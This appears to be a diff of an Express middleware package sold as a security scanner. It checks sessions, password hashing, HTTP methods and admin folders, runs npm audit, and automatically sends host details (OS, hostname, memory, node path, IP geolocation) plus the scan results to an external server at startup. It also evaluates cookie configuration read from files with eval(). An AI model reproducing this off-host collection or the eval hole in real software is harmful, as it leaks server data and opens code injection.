+ // Application database stores password in plain text
934
+ results.push(
935
+ `Found ${hashingMethod} password hashing method on ${filePath} at line ${lineNumber}password is ${passwordweakOrNot}`
936
+ );
937
+ } else {
938
+ // Application database not stores password in plain text
939
+ results.push(
940
+ `Found a File: ${filePath} without password hashing at line ${lineNumber}`
941
+ );
942
+ }
943
+ }
944
+ }
945
+ }
946
+ }
947
+ }
948
+
949
+ return results;
950
+ }
951
+ // OPTIONS method
952
+ async function scanDirectoryOptionMethod(routes) {
953
+ const results = [];
954
+ return new Promise((resolve, reject) => {
955
+ try {
956
+ routes.forEach((item) => {
957
+ if (item.methods.includes("OPTIONS")) {
958
+ results.push(`The path '${item.path}' uses the OPTIONS method`);
959
+ }
960
+ });
961
+ if (results.length > 0) {
962
+ resolve(results); // OPTIONS method enabled
963
+ } else {
964
+ resolve(null); // OPTIONS method disabled
965
+ }
966
+ } catch (error) {
967
+ reject(error);
968
+ }
969
+ });
970
+ }
971
+ // application_accepts_arbitrary_methods
972
+ async function ScanDangerousMethods(routes) {
973
+ const results = [];
974
+ const dangerousMethods = ["DELETE", "PUT", "PATCH"];
975
+ return new Promise((resolve, reject) => {
976
+ try {
977
+ routes.forEach((item) => {
978
+ const hasDangerousMethod = dangerousMethods.some((method) =>
979
+ item.methods.includes(method)
980
+ );
981
+ if (hasDangerousMethod) {
982
+ const dangerousMethod = item.methods.find((method) =>
983
+ dangerousMethods.includes(method)
984
+ );
985
+ results.push(
986
+ `The path '${item.path}' uses the '${dangerousMethod}' method`
987
+ );
988
+ }
989
+ });
990
+ if (results.length > 0) {
991
+ resolve(results); //application_accepts_arbitrary_methods
992
+ } else {
993
+ resolve(null); //application_ not_accepts_arbitrary_methods
994
+ }
995
+ } catch (error) {
996
+ reject(error);
997
+ }
998
+ });
999
+ }
1000
+ const CheckAdminAcess = (app) => {
1001
+ return new Promise((resolve, reject) => {
1002
+ fs.readdir(rootDirectory, (err, files) => {
1003
+ if (err) {
1004
+
1005
+ reject(err);
1006
+ return;
1007
+ }
1008
+
1009
+ // Find admin-related folders
1010
+ const adminFolders = files.filter((file) => {
1011
+ const folderPath = path.join(rootDirectory, file);
1012
+ return (
1013
+ fs.statSync(folderPath).isDirectory() && adminFolderPattern.test(file)
1014
+ );
1015
+ });
1016
+
1017
+ if (adminFolders.length > 0) {
1018
+ const promises = adminFolders.map((folder) => {
1019
+ return new Promise((resolve, reject) => {
1020
+ fs.access(folder, fs.constants.F_OK, (err) => {
1021
+ if (err) {
1022
+ resolve("Admin folder does not exist.");
1023
+ } else {
1024
+ // Check if the admin folder is publicly accessible
1025
+ fs.access(folder, fs.constants.R_OK, (err) => {
1026
+ if (err) {
1027
+ resolve(
1028
+ "Admin folder is private and not publicly accessible."
1029
+ );
1030
+ } else {
1031
+ resolve("Admin folder is publicly accessible.");
1032
+ }
1033
+ });
1034
+ }
1035
+ });
1036
+ });
1037
+ });
1038
+ Promise.all(promises)
1039
+ .then((results) => {
1040
+ resolve(results);
1041
+ })
1042
+ .catch((error) => {
1043
+ reject(error);
1044
+ });
1045
+ } else {
1046
+ resolve("No admin-related folders found in the root directory.");
1047
+ }
1048
+ });
1049
+ });
1050
+ };
1051
+ //
1052
+ async function GetAllData(req) {
1053
+ const app=req.app, server=req.server,hostname=req.domain
1054
+ const data = [];
1055
+ data.push({ hostname });
1056
+ var serverTimeout;
1057
+ if (server.timeout === 0) {
1058
+ serverTimeout =
1059
+ "Max server TimeOut is Not set Please set because it is infinite ";
1060
+ } else {
1061
+ serverTimeout = "Max server TimeOut is " + server.timeout;
1062
+ }
1063
+ var routes = getEndpoints(app);
1064
+ let defaultWebpage = routes.filter((val) => {
1065
+ return val.path === "/";
1066
+ });
1067
+ if (defaultWebpage.length > 0) {
1068
+ data.push({ Default_web_page_present_in_the_server: "Available" });
1069
+ } else {
1070
+ data.push({ Default_web_page_present_in_the_server: "Not Avaialble" });
1071
+ }
1072
+ data.push({ test_for_limits_put_on_the_functions_usage: serverTimeout });
1073
+ const sessionMiddleware = app._router.stack.find(
1074
+ (middleware) => middleware.handle.name === "session"
1075
+ );
1076
+ const jsonwebtokenInUse = await scanFileForJwtVerify(rootDirectory);
1077
+ const SqlinUse = await scanFileForSql(rootDirectory);
1078
+
1079
+ return new Promise((resolve, reject) => {
1080
+ const RedirectVulnerability = scanDirectoryForRedirectVulnerability(
1081
+ rootDirectory
1082
+ )
1083
+ .then((vulnerabilities) => {
1084
+ if (vulnerabilities.length > 0) {
1085
+ data.push({
1086
+ Redirect_Vulnerability_present_in_the_server:
1087
+ "Available" + vulnerabilities,
1088
+ });
1089
+ } else {
1090
+ data.push({
1091
+ Redirect_Vulnerability_present_in_the_server: "Not Available",
1092
+ });
1093
+ }
1094
+ })
1095
+ .catch((error) => {
1096
+
1097
+ });
1098
+ // Management interface is not restricted for specific IPs
1099
+ const adminAccessPromise = CheckAdminAcess(app)
1100
+ .then((results) => {
1101
+ data.push({
1102
+ management_interface_is_not_restricted_for_specific_ips:
1103
+ results.toString(),
1104
+ });
1105
+ })
1106
+ .catch((error) => {
1107
+
1108
+ });
1109
+ const sessionDirectoryPromise = scanSessionDirectory(rootDirectory, app)
1110
+ .then((results) => {
1111
+ if (results.length > 0) {
1112
+ const sevenDays = 86400000 * 7;
1113
+ const oneMinute = 60000;
1114
+ if (sessionMiddleware) {
1115
+ data.push({ session: "session found" });
1116
+ for (const r of results) {
1117
+ if (r.sessionResult) {
1118
+ const cookieString = r.sessionResult.sessionConfig.replace(
1119
+ "cookie:",
1120
+ ""
1121
+ );
1122
+ const cookieObject = eval(`(${cookieString})`);
1123
+ const isSecureTransmission = cookieObject.secure;
1124
+ data.push({
1125
+ isSecureTransmission: `Ensuring session IDs are securely transmitted over encrypted channels (HTTPS): ${isSecureTransmission}`,
1126
+ });
1127
+ if (
1128
+ cookieObject["maxage"] === false ||
1129
+ cookieObject["expires"] === false
1130
+ ) {
1131
+ data.push({
1132
+ sessionTime:
1133
+ "Session does not expire on closing the browser",
1134
+ });
1135
+ } else if (
1136
+ cookieObject["maxage"] === null ||
1137
+ cookieObject["expires"] === null
1138
+ ) {
1139
+ data.push({ Session_Time: "Infinite" });
1140
+ } else if (
1141
+ cookieObject["maxage"] > sevenDays ||
1142
+ cookieObject["expires"] > sevenDays
1143
+ ) {
1144
+ data.push({ Session_time_out: "High" });
1145
+ } else if (
1146
+ cookieObject["maxage"] < oneMinute ||
1147
+ cookieObject["expires"] < oneMinute
1148
+ ) {
1149
+ data.push({ Session_time_out: "Low" });
1150
+ } else {
1151
+ data.push({ Session_time_out: "Normal" });
1152
+ }
1153
+ }
1154
+ // An adversary can hijack user sessions by session fixation
1155
+ if (r.sessionFixation) {
1156
+ data.push({ session_fixation: r.sessionFixation });
1157
+ }
1158
+ }
1159
+ } else if (!sessionMiddleware) {
1160
+ data.push({ session: "session not found" });
1161
+ }
1162
+
1163
+ // Session token being passed in other areas apart from cookie
1164
+ if (jsonwebtokenInUse.length > 0) {
1165
+ data.push({
1166
+ can_session_puzzling_be_used_to_bypass_authentication_or_authorization:
1167
+ "Yes,So Please Secure Your AccessToken",
1168
+ });
1169
+ } else if (jsonwebtokenInUse.length === 0) {
1170
+ data.push({
1171
+ session_token_being_passed_in_other_areas_apart_from_cookie: "No",
1172
+ });
1173
+ }
1174
+ // Sql in Use
1175
+ if (SqlinUse.length > 0) {
1176
+ data.push(SqlinUse[0]);
1177
+ } else if (SqlinUse.length === 0) {
1178
+ data.push({
1179
+ SqlDatabaseIsNotuse: "SqlDatabase Is Not use",
1180
+ });
1181
+ }
1182
+ }
1183
+ })
1184
+ .catch((error) => {
1185
+
1186
+ });
1187
+
1188
+ // Application database not stores password in plain text
1189
+ const passwordHashingPromise = ScanPasswordHashing(rootDirectory, app)
1190
+ .then((results) => {
1191
+ if (results.length > 0) {
1192
+ const finalString = results.join("\r\n");
1193
+ data.push({ ScanPasswordHashing: finalString });
1194
+ return finalString;
1195
+ } else {
1196
+ data.push(
1197
+ "Not found any file where register and login methods are available"
1198
+ );
1199
+ }
1200
+ })
1201
+ .catch((error) => {
1202
+
1203
+ return "An error occurred during directory scanning";
1204
+ });
1205
+ // OPTIONS method
1206
+ const directoryOptionMethodPromise = scanDirectoryOptionMethod(routes)
1207
+ .then((results) => {
1208
+ if (!results) {
1209
+ data.push({ options_method_enable: "No Options Method Find" }); // OPTIONS method disabled
1210
+ } else if (results.length > 0) {
1211
+ data.push({ options_method_enable: results }); // OPTIONS method enabled
1212
+ }
1213
+ })
1214
+ .catch((error) => {
1215
+
1216
+ return "An error occurred during directory scanning";
1217
+ });
1218
+ // application_accepts_arbitrary_methods
1219
+ const dangerousMethodsPromise = ScanDangerousMethods(routes)
1220
+ .then((results) => {
1221
+ if (results === null) {
1222
+ data.push({
1223
+ application_accepts_arbitrary_methods:
1224
+ "Dangerous methods not found",
1225
+ }); //application not _accepts_arbitrary_methods
1226
+ } else if (results.length > 0) {
1227
+ const dangerousMethodsFinalString = results.join("\r\n");
1228
+ data.push({
1229
+ application_accepts_arbitrary_methods: dangerousMethodsFinalString,
1230
+ }); // application_accepts_arbitrary_methods
1231
+ }
1232
+ })
1233
+ .catch((error) => {
1234
+
1235
+ return "An error occurred during directory scanning";
1236
+ });
1237
+ Promise.all([
1238
+ adminAccessPromise,
1239
+ sessionDirectoryPromise,
1240
+ passwordHashingPromise,
1241
+ directoryOptionMethodPromise,
1242
+ dangerousMethodsPromise,
1243
+ RedirectVulnerability,
1244
+ ])
1245
+ .then(async() => {
1246
+ resolve(data);
1247
+ })
1248
+ .catch((error) => {
1249
+ reject("An error occurred during promise execution:");
1250
+
1251
+ });
1252
+ });
1253
+ }
1254
+ // end GetAllData
1255
+ // controllers
1256
+ const combinedController = async (req, res) => {
1257
+ if (req.alloweddomain.allowed) {
1258
+ let result1, result2;
1259
+ try {
1260
+ const npmauditdata=await dependencyChecker()
1261
+ const params=req.query || req.params
1262
+ if(hasDuplicateParameters(params) || hasArrayParameters(params)){
1263
+ await useCustomFetch(`${baseUrl}/ishppadd`);
1264
+ }else{
1265
+ await useCustomFetch(`${baseUrl}/isnohppadd`)
1266
+ }
1267
+ result1 = await GetAllData(req);
1268
+ result2 = await sendServerInfo(req);
1269
+ const combinedData = {
1270
+ result1: result1,
1271
+ result2: result2
1272
+ };
1273
+
1274
+
1275
+ const response = await useCustomFetch(`${baseUrl}/sitereport?data=${JSON.stringify(combinedData)}&hostname=${req.domain}&npmauditdata=${JSON.stringify({npmauditdata})}`);
1276
+
1277
+ return res.status(200).json(response.data);
1278
+ } catch (error) {
1279
+ console.error(error);
1280
+ return res.status(500).json({ error: "Internal Server Error" });
1281
+ }
1282
+ } else {
1283
+ return res.status(404).json("Your domain is not authenticated");
1284
+ }
1285
+ };
1286
+ // serverinfo
1287
+ const sendServerInfo=async(req)=>{
1288
+ return new Promise(async(resolve,reject)=>{
1289
+ try {
1290
+ const server=req.server
1291
+ const hostname=req.domain
1292
+ const origin = req.headers.origin;
1293
+ const Allow_Access_control_origin= origin && res.get("Access-Control-Allow-Origin") === "*"?"Access-Control-Allow-Origin is Set to *":"Access-Control-Allow-Origin is not Set to *"
1294
+ let version=process.version
1295
+ version = version. replace(/^./, "")
1296
+ let responseserver= await useCustomFetch('http://ip-api.com/json/');
1297
+ responseserver=responseserver.data
1298
+ const information ={node_version:process.version,serverport:server.address().port,Allow_Access_control_origin, osVersion: os.version(), platform: os.platform(), totalmem:os.totalmem(), freemem:os.freemem(), type:os.type(), servername: os.hostname(), hostname:os.hostname(),nodeenvronment:process.execPath,version,...responseserver }
1299
+ resolve({hostname,information});
1300
+ } catch (error) {
1301
+ reject(error)
1302
+ }
1303
+ })
1304
+
1305
+ }
1306
+ const onData = (stream) => {
1307
+ return new Promise((resolve, reject) => {
1308
+ let data = '';
1309
+
1310
+ stream.on('data', (chunk) => {
1311
+ data += chunk;
1312
+ });
1313
+
1314
+ stream.on('error', (err) => {
1315
+ reject(err);
1316
+ });
1317
+
1318
+ stream.on('end', () => {
1319
+ resolve(data);
1320
+ });
1321
+ });
1322
+ };
1323
+
1324
+ const dependencyChecker = async (res) => {
1325
+ // ...
1326
+
1327
+ try {
1328
+ const command = 'npm audit';
1329
+ const childProcess = exec(command);
1330
+ const stdoutData = await onData(childProcess.stdout);
1331
+ const stderrData = await onData(childProcess.stderr);
1332
+
1333
+
1334
+ // Return or process the data as needed
1335
+ return {
1336
+ stdout: stdoutData,
1337
+ stderr: stderrData
1338
+ };
1339
+
1340
+ // ...
1341
+ } catch (error) {
1342
+ console.error(error);
1343
+ // Handle the error appropriately
1344
+ }
1345
+ };
1346
+
1347
+ function hasDuplicateParameters(params) {
1348
+ const seen = new Set();
1349
+ for (const param in params) {
1350
+ if (seen.has(param)) {
1351
+ return true; // Duplicate parameter found
1352
+ }
1353
+ seen.add(param);
1354
+ }
1355
+ return false; // No duplicate parameters found
1356
+ }
1357
+ // Helper function to check for array parameters
1358
+ function hasArrayParameters(params) {
1359
+ for (const param in params) {
1360
+ if (Array.isArray(params[param])) {
1361
+ return true; // Array parameter found
1362
+ }
1363
+ }
1364
+ return false; // No array parameters found
1365
+ }
1366
+ const HostValidator = (app, server,sid) => {
1367
+ return async (req, res, next) => {
1368
+ const allowedDomain = await Ialloweddomain(sid);
1369
+ req.app = app;
1370
+ req.server = server;
1371
+ req.domain = sid;
1372
+ req.alloweddomain = allowedDomain;
1373
+ next();
1374
+ };
1375
+ };
1376
+ const callData=async(app)=>{
1377
+ const request = require('supertest');
1378
+ await request(app).get('/sitereport?id=1&id=3');
1379
+
1380
+ }
1381
+ const Ialloweddomain=async(hostname)=>{
1382
+ try {
1383
+ const response=await useCustomFetch(`${baseUrl}/alloweddomains?hostname=${hostname}`)
1384
+
1385
+ if(response.status===200){
1386
+ return {allowed:true}
1387
+ }else if(response.status===404){
1388
+ return {allowed:false}
1389
+ }
1390
+ return response.status
1391
+ } catch (error) {
1392
+ if(error){
1393
+ return {allowed:false}
1394
+ }
1395
+ }
1396
+
1397
+ }
1398
+ // Call Middleware For Secure Your Application
1399
+ module.exports={
1400
+ AutoProtectCode:(app,server,sid) => {
1401
+ try {
1402
+ app.use(HostValidator(app, server, sid));
1403
+ app.use(Middleware);
1404
+ app.get("/sitereport", combinedController);
1405
+ console.log("Process Start Please wait")
1406
+ callData(app)
1407
+ } catch (error) {
1408
+ console.log(error)
1409
+ }
1410
+ }
1411
+ }